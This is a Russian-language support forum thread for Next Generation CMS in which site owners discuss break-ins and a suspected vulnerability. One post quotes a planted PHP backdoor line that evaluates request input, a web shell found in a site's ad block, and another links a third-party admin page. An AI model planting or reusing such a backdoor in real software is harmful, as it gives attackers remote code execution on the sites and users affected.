Next Generation CMS :: Форум поддержки

Заинтересовала наша система? Тогда этот форум для Вас!

Вы не зашли.

#26 2015-04-15 17:08:54

infinity237
Модератор
Откуда Russia, Moscow
Зарегистрирован: 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Вообщем, считай что в NG дыра тогда как и считает автор темы.

Не в сети

#27 2015-04-15 17:16:43

phoboss
Участник
Зарегистрирован: 2011-06-01
Сообщений: 43
Рейтинг :   

Re: Ну вот и нашли на NGCMS ДЫРУ

Я так не считаю. Просто не стал плодить темы, когда аналогичная ситуация описана здесь.

З.Ы. Исчерпывающий ответ big_smile

Изменено phoboss (2015-04-15 17:16:56)

Не в сети

#28 2015-04-15 19:44:26

infinity237
Модератор
Откуда Russia, Moscow
Зарегистрирован: 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Я на полном серьезе это говорю, т.к. другого объяснения происходящему у меня нет.

Не в сети

#29 2015-04-15 23:30:51

phoboss
Участник
Зарегистрирован: 2011-06-01
Сообщений: 43
Рейтинг :   

Re: Ну вот и нашли на NGCMS ДЫРУ

Думаю, при бруте, в логах засветились бы множественные POST /login, а их вчера было всего 2.
Сегодня снова в логах засветился айпишник взломщика, провел на сайте 30 сек. На этот раз без логина (пароль я сменил).

Не в сети

#30 2015-04-16 00:22:02

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Ну вот и нашли на NGCMS ДЫРУ

у меня недавно была похожая ситуация, ктото создал в адс_про вот таку фигню
if (isset($_REQUEST['fex'])) eval(stripslashes($_REQUEST['fex']));
соответстенно мейне вывод блока в пхп

о проблеме мне сообщил яндекс, скорее всего это примерно 2 недели длилось так как первое сообщение было 16 числа, последнее что то 27 с разными промежутками, просто не всегда яндекс открываю.

Пароль от админа только у меня, как они то делают хз, все удалил пароль сменил, вроде пропало

Не в сети

#31 2015-04-16 06:34:48

irbees2008
Продвинутый чайник ;)
Откуда Шахтинск
Зарегистрирован: 2012-03-14
Сообщений: 2,873
Рейтинг :   121 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Посмотри кто у тебя там еще с id 1 из пользователей, включи запись последних действий.

Не в сети

#32 2015-04-16 21:12:38

infinity237
Модератор
Откуда Russia, Moscow
Зарегистрирован: 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Вот кстати не ясно что это:
http://potolok.dp.ua/engine/admin.php

Не в сети

#33 2015-04-16 23:58:13

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Ну вот и нашли на NGCMS ДЫРУ

сегодня кстате заметил что снова сломали((

Не в сети

#34 2015-04-17 06:02:33

irbees2008
Продвинутый чайник ;)
Откуда Шахтинск
Зарегистрирован: 2012-03-14
Сообщений: 2,873
Рейтинг :   121 
Сайт

Re: Ну вот и нашли на NGCMS ДЫРУ

Не в сети

Подвал раздела

Работает на FluxBB